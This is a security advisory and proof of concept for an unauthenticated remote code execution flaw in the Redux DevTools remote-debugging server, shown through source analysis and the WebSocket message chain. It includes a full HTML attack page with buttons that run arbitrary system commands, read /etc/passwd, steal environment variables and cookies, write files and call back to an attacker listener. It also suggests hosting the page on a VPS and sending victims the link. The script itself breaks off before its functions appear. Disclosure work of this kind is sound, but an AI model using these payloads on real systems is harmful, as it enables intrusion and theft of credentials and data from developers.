Local sensitive logic exposure lead to Remote Code Exectuion
Vulnerability Summary
| Item | Detail |
|---|---|
| Vulnerability | Redux DevTools remotedev-server Unauthenticated Remote Code Execution |
| Affected components | @redux-devtools/cli (bundled remotedev-server) 5.0.0 (npm dist-tags.latest, published 2026-03-08; earlier versions are also affected); @redux-devtools/remote 1.0.0; as well as Redux DevTools Electron desktop clients built on these packages |
| Vulnerability type | CWE-94: Code Injection (dynamic eval) → Unauthenticated Remote Code Execution |
| Attack vector | Network (browser drive-by visit to a malicious page; or direct connection to the service port from the local network) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| Validation status | Fully verified end-to-end against a source build of @redux-devtools/cli 5.0.0 |
1. Vulnerability Description
The Redux DevTools remote-debugging architecture consists of two parts: the remotedev-server bundled inside @redux-devtools/cli (an event-relay service built on SocketCluster WebSocket) and the @redux-devtools/remote enhancer running in the debugged application (the victim). Once the user starts this software, the remotedev-server by default listens on 0.0.0.0:8000; the debugged application connects to the server with realtime: true, subscribes to the control channel, and waits for remote commands.
The exploitation scenario is as follows: while the victim has this software running and at least one debugged application is connected, the victim visits a malicious web page in their browser. The malicious page's JavaScript uses the browser's native WebSocket to connect directly to ws://127.0.0.1:8000/socketcluster/. This succeeds because:
- WebSocket connections are not subject to the Same-Origin Policy or CORS, and a local page opened via
file://can also initiate cross-origin WebSocket connections; - The server handshake requires no credentials (
authToken: nullis sufficient) and does not validate the Origin header; - The server middleware unconditionally forwards messages sent to the
respondcontrol channel to all subscribers; - The victim's client performs no source or instanceId validation on incoming
{"type":"ACTION","action":"<arbitrary JS expression string>"}messages; it passes the payload directly toevalAction, which evaluates it vianew Function('return ' + action)();
As a result, the malicious page needs to send only two JSON messages (START and ACTION) to make the victim process execute arbitrary attacker-supplied JavaScript within its own context — which can further call child_process to run system commands, read/write files, exfiltrate environment variables, and steal sensitive data held in memory. The entire process is blind-fire in nature: as soon as one message reaches the server and the victim executes it, the attack has succeeded; subscribing to the log channel to receive command output is only needed for demonstrating the result.
In addition to the browser vector, because the server binds to all network interfaces, any host on the same LAN can exploit it directly without a browser (in that case no user interaction is required, making the practical severity even higher).
Preconditions:
- The victim has started this software (the server is thereby listening);
- At least one debugged application using
@redux-devtools/remote(realtime: true) is connected to the server — the Electron desktop client window itself is only a monitor, not the victim; - The browser vector requires the victim to visit a malicious web page; the LAN vector requires no interaction at all.
2. Vulnerability Analysis (Key Source Code)
2.1 Server: Zero-Credential Handshake + Unconditional Control-Channel Forwarding
packages/redux-devtools-cli/src/index.ts:50-72 — the server's only inbound middleware performs no identity or source check on control channels:
agServer.setMiddleware(agServer.MIDDLEWARE_INBOUND, async (middlewareStream) => {
for await (const action of middlewareStream) {
if (action.type === action.TRANSMIT) {
const channel = action.receiver;
const data = action.data;
if (
channel.substring(0, 3) === 'sc-' ||
channel === 'respond' ||
channel === 'log'
) {
void agServer.exchange.transmitPublish(channel, data);
} else if (channel === 'log-noid') { /* ... */ }
} else if (action.type === action.SUBSCRIBE) { /* ... */ }
action.allow();
}
});After any client completes #handshake (authToken: null suffices; the server assigns a socketId), every cid-less frame (SocketCluster TRANSMIT) sent to the respond channel is broadcast verbatim to all subscribers of that channel. A login procedure does exist, but its "credential" is merely any string — the victim client hard-codes invoke('login', 'master'), and the server accepts 'master' unconditionally, which is equivalent to no authentication.
It is important to note: the server starts with allowClientPublish: false (index.ts:31), but in socketcluster-server v20 this option only intercepts client #publish events (serversocket.js:675) and does not intercept the cid-less TRANSMIT frames described above, so it does not mitigate this attack surface. This is why many users mistakenly believe the control plane is already closed.
2.2 Default Binding to 0.0.0.0
In packages/redux-devtools-cli/src/options.ts:46-47 the hostname option defaults to undefined, and index.ts:130 calls httpServer.listen(options.port) (default port 8000), which binds all network interfaces. Any host on the LAN can connect directly; for the browser vector the target is 127.0.0.1:8000.
2.3 Victim Side: Control-Channel Subscription Without Source Validation
packages/redux-devtools-remote/src/devTools.ts:385-393 — after logging in as 'master', the victim subscribes to the respond channel returned by the server, and every incoming message goes directly into handleMessages:
login() {
void (async () => {
const channelName = await this.socket!.invoke('login', 'master');
for await (const data of this.socket!.subscribe(channelName)) {
this.handleMessages(data as Message<S, A>);
}
})();
this.started = true;
this.relay('START');
}devTools.ts:317-318 handles ACTION-type messages without any source validation (no check on message.id or instanceId):
} else if (message.type === 'ACTION') {
this.dispatchRemotely(message.action);
}2.4 Core Impact: Dynamic Evaluation via evalAction
devTools.ts:282-289 passes the string expression from the message to evalAction, and the evaluation result is dispatched to the victim's store as an action:
dispatchRemotely(action: string | { /* ... */ }) {
try {
const result = evalAction(action, this.actionCreators);
this.store.dispatch(result);
} catch (e) {
this.relay('ERROR', (e as Error).message);
}
}packages/redux-devtools-utils/src/index.ts:84-92:
export function evalAction(action, actionCreators) {
if (typeof action === 'string') {
return new Function('return ' + action)(); // ← arbitrary code execution point
}
// ...
}new Function('return ' + action)() is equivalent to eval. The attacker makes the expression return a valid action object (ensuring store.dispatch does not throw), while side effects such as command execution already complete during expression evaluation, for example:
(function(){
import('node:child_process').then(cp => {
const out = cp.execSync('whoami').toString();
// Writing results to a file / sending them back can all be done inside the victim process
});
return { type: 'ACTION', action: { output: 'pending' } };
})()2.5 Echo Channel
After the victim dispatches the action, handleChange sends the lifted state back via relay() (devTools.ts:233): devTools.ts:279 this.socket.transmit(this.socket.id ? 'log' : 'log-noid', message). This message is likewise a TRANSMIT frame and is forwarded by the middleware described in §2.1 to the log channel — an attacker who has pre-subscribed to log can read the command execution result, closing the loop.
2.6 Complete Attack Chain
Malicious web page (file:// or any http page)
│ new WebSocket('ws://127.0.0.1:8000/socketcluster/') ← no credentials, no Origin check
├→ {"event":"#handshake","data":{"authToken":null},"cid":1} obtain socketId
├→ {"event":"#subscribe","data":{"channel":"log"},"cid":2} subscribe to echo channel
├→ {"event":"respond","data":{"type":"START"}} activate victim isMonitored
└→ {"event":"respond","data":{"type":"ACTION","action":"<JS>"}}
↓ server middleware forwards unconditionally (index.ts:53-67)
victim receives on respond → handleMessages → dispatchRemotely
↓ evalAction → new Function('return ' + action)()
arbitrary code executed inside victim process (whoami / read-write files / steal data)
↓ relay → transmit('log', ...)
attacker receives execution output on the log channel3. Proof of Concept
3.1 Reproduction Steps
- Start the target service: Run
npx @redux-devtools/[email protected](default port 8000), or launch the desktop client built on it. Confirm the service is listening on port 8000. - Start the victim application: On any machine, install
reduxand@redux-devtools/remote, save and run the minimal victim script from §3.2 below (port must match step 1). The terminal showing "connected" is sufficient. - Open the attack page: Save the complete HTML from §3.3 below as any
.htmlfile and open it directly in a browser (file://protocol is sufficient; no web server needed). Set Target/Port to127.0.0.1:8000(or open with URL parameter?target=127.0.0.1:8000). - Trigger: Click the "One-click RCE" button. The page will automatically perform handshake → subscribe to
log→ broadcastSTART→ inject thewhoamicommand → echo the result. - Expected result: The output box first shows the socketId obtained from the zero-credential handshake, followed by the
RCE ECHOmarker and the output ofwhoami. On the victim side, tools such as Process Monitor can confirm that thewhoamichild process was actually created. Besides one-click exploitation, the page also provides step-by-step buttons (connect, START, command execution, arbitrary command, read environment variables, write file, callback) for forensic documentation.
3.2 Minimal Victim Application
// victim.mjs — run first: npm install redux @redux-devtools/remote
import { devToolsEnhancer } from '@redux-devtools/remote';
import { createStore } from 'redux';
const store = createStore(
(state = 0, action) => (action.type === 'INC' ? state + 1 : state),
devToolsEnhancer({ realtime: true, hostname: '127.0.0.1', port: 8000 }),
);
setInterval(() => store.dispatch({ type: 'INC' }), 3000);
console.log('victim connected to remotedev-server');Any Electron desktop application, Node service, or page that connects to this server with realtime: true is an equivalent victim.
3.3 Complete Attack Page Source
The following is the complete attack page (self-contained, no external dependencies, includes a minimal SocketCluster wire-protocol client; save as an .html file and open directly in a browser):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Redux DevTools remotedev-server — Unauthenticated RCE (single-vulnerability POC)</title>
<style>
body { font-family: Consolas, "Segoe UI", monospace; background: #1e1e1e; color: #d4d4d4; margin: 0; padding: 20px; }
h1 { font-size: 20px; color: #ff6b6b; border-bottom: 2px solid #ff6b6b; padding-bottom: 8px; }
h2 { font-size: 16px; margin-top: 26px; padding: 6px 10px; border-radius: 4px; background: #5a0000; color: #ff6b6b; }
.panel { background: #252526; border: 1px solid #3c3c3c; border-radius: 6px; padding: 12px 14px; margin: 10px 0 20px 0; }
.item { border-left: 3px solid #ff6b6b; padding: 8px 12px; margin: 12px 0; background: #2d2d2d; border-radius: 0 4px 4px 0; }
.item h3 { margin: 0 0 6px 0; font-size: 14px; color: #569cd6; }
button { background: #0e639c; color: #fff; border: none; padding: 7px 14px; border-radius: 4px; cursor: pointer; font-size: 13px; margin: 2px 8px 2px 0; }
button:hover { background: #1177bb; }
button.danger { background: #a31515; }
button.danger:hover { background: #c41a1a; }
button.big { font-size: 15px; padding: 12px 26px; background: #a31515; }
pre { background: #000; color: #9cdcfe; border: 1px solid #444; border-radius: 4px; padding: 10px; font-size: 12px; white-space: pre-wrap; word-break: break-all; max-height: 340px; overflow-y: auto; margin: 8px 0 0 0; min-height: 2.5em; }
.meta { font-size: 12px; color: #888; margin: 4px 0 8px 0; }
input { background: #3c3c3c; color: #fff; border: 1px solid #555; padding: 6px 8px; border-radius: 4px; font-family: inherit; }
.cfg { display: flex; gap: 12px; align-items: center; flex-wrap: wrap; margin: 10px 0; }
.note { color: #888; font-size: 12px; }
.ok { color: #00e676; } .err { color: #ff6b6b; } .warn { color: #ffd700; }
code { color: #ce9178; }
.tag { display: inline-block; font-size: 11px; padding: 1px 7px; border-radius: 8px; margin-left: 6px; background: #5a0000; color: #ff6b6b; }
</style>
</head>
<body>
<h1>Redux DevTools remotedev-server — Unauthenticated Remote Code Execution (RCE) POC <span class="tag">Critical · CVSS 8.8</span></h1>
<div class="panel">
<p><b>Affected component:</b> @redux-devtools/cli (remotedev-server, backend of the redux-devtools Electron app / CLI), listens on <code>0.0.0.0:8000</code> by default</p>
<p><b>Attack chain:</b> any attacker → WebSocket connect to <code>ws://target:port/socketcluster/</code> (<b>no authentication, no Origin check, not subject to CORS</b>) → transmit one JSON message to the <code>respond</code> channel → server middleware forwards it unconditionally (index.ts:53-67) → every connected debugged app (redux-devtools-remote) executes the ACTION branch via <code>evalAction → new Function('return ' + action)()</code> (devTools.ts:316 / utils:90, no instanceId check) → <b>arbitrary JS runs inside the victim process</b>.</p>
<p><b>CORS conclusion (for reporting):</b> WebSocket is inherently not subject to the same-origin policy — any web page can connect and exploit directly. Moreover this vulnerability is <b>blind-fire capable</b>: as soon as a single WS message reaches the server, the victim executes the code (no response needs to be read). The echo (subscribing to the log channel to receive execution results) is only a self-contained forensic enhancement.</p>
<p><b>Prerequisites:</b> ① remotedev-server is running; ② at least one debugged app using redux-devtools-remote (<code>realtime:true</code>) is connected to that server (an Electron desktop app / Node service / web page can all be the victim).</p>
<div class="cfg">
<label>Target host: <input id="cfgHost" value="127.0.0.1" size="12"></label>
<label>Port: <input id="cfgPort" value="8100" size="6"></label>
<span class="note">Default installation is port 8000. Every button on this page works instantly. Supports URL parameter: <code>?target=host:port</code> (when deployed on a VPS, hand the victim a link with the parameter, e.g. <code>?target=127.0.0.1:8000</code>)</span>
</div>
<p class="note">Demo victim: any Node app instrumented with <code>devToolsEnhancer({ realtime: true, hostname: '127.0.0.1', port: 8100 })</code> from <code>@redux-devtools/remote</code> (a real victim needs no cooperation at all)</p>
</div>
<!-- ============ One-click ============ -->
<h2>One-click exploit (full chain automated: connect → handshake → subscribe log → START → inject whoami → echo)</h2>
<div class="panel">
<button class="big danger" onclick="oneClick(this)">One-click RCE: inject whoami with command echo</button>
<pre id="out-main"></pre>
</div>
<!-- ============ Step by step ============ -->
<h2>Step-by-step verification (each step has its own output box for report screenshots)</h2>
<div class="panel">
<div class="item">
<h3>Step 1 — Connect WebSocket + protocol handshake (zero credentials)</h3>
<div class="meta">Native browser WebSocket; the server performs no Origin check and no authentication. <code>#handshake</code> with <code>authToken:null</code> is accepted and a socketId is assigned.</div>
<button onclick="stepConnect(this)">Connect + handshake</button>
<pre id="out-conn"></pre>
</div>
<div class="item">
<h3>Step 2 — Subscribe to the log channel + broadcast START (activate victim reporting)</h3>
<div class="meta">By default the victim does not stream data back; upon receiving <code>{"type":"START"}</code> on the respond channel it sets <code>isMonitored=true</code> and starts flowing execution results back to the log channel — this is the switch that enables the RCE echo.</div>
<button onclick="stepStart(this)">Subscribe log + broadcast START</button>
<pre id="out-log"></pre>
</div>
<div class="item">
<h3>Step 3a — Inject RCE: whoami with command echo (recommended screenshot evidence)</h3>
<div class="meta">The payload runs <code>child_process.execSync("whoami")</code> synchronously inside the victim process; the command output flows back into the box below as the action result = a closed-loop in-band command echo. Works for any Node victim (CJS via process.mainModule; ESM on Node≥22.3 via process.getBuiltinModule).</div>
<button class="danger" onclick="stepCmd(this)">Execute whoami</button>
<pre id="out-cmd"></pre>
</div>
<div class="item">
<h3>Step 3b — Inject RCE: custom command (arbitrary system command with echo)</h3>
<div class="meta">Enter any command (Windows: <code>ipconfig /all</code>, <code>tasklist</code>, <code>type C:\Windows\win.ini</code>...; Linux: <code>id</code>, <code>cat /etc/passwd</code>...). Its output is echoed back the same way.</div>
<label>Command: <input id="cmdInput" value="ipconfig /all" size="34"></label>
<button class="danger" onclick="stepCmdCustom(this)">Execute custom command</button>
<pre id="out-cmd2"></pre>
</div>
<div class="item">
<h3>Step 3c — Inject RCE: generic info theft (env / cookie)</h3>
<div class="meta">Returns the victim process's <code>process.env</code> (Node, may contain API keys/secrets) or <code>document.cookie + localStorage</code> (browser victim).</div>
<button class="danger" onclick="stepGeneric(this)">Steal environment variables / cookies</button>
<pre id="out-gen"></pre>
</div>
<div class="item">
<h3>Step 3d — Inject RCE: arbitrary file write (blind-fire evidence)</h3>
<div class="meta">Writes <code>PWNED_RCE_PROOF.txt</code> into the victim's working directory (dynamic <code>import("node:fs")</code>, works for browser and Node victims alike). This one <b>takes effect without reading any response</b> — proof of the blind-fire nature of the vulnerability.</div>
<button class="danger" onclick="stepFile(this)">Write PWNED_RCE_PROOF.txt</button>
<pre id="out-file"></pre>
</div>
<div class="item">
<h3>Step 3e — Inject RCE: victim outbound callback (exfiltration capability proof)</h3>
<div class="meta">The victim process initiates an HTTP request to the attacker. Start a listener first to observe: <code>python -m http.server 9919</code>, then click (callback address is auto-set to target host:9919).</div>
<button class="danger" onclick="stepBeacon(this)">Fire outbound callback</button>
<pre id="out-beacon"></pre>
</div>
<div class="item">
<h3>Step 4 — Disconnect</h3>
<button onclick="stepDisconnect(this)">Disconnect WebSocket</button>
<pre id="out-disc"></pre>
</div>
</div>
<div class="panel">
<p class="note"><b>Technical note:</b> theSource: reduxjs/redux-devtools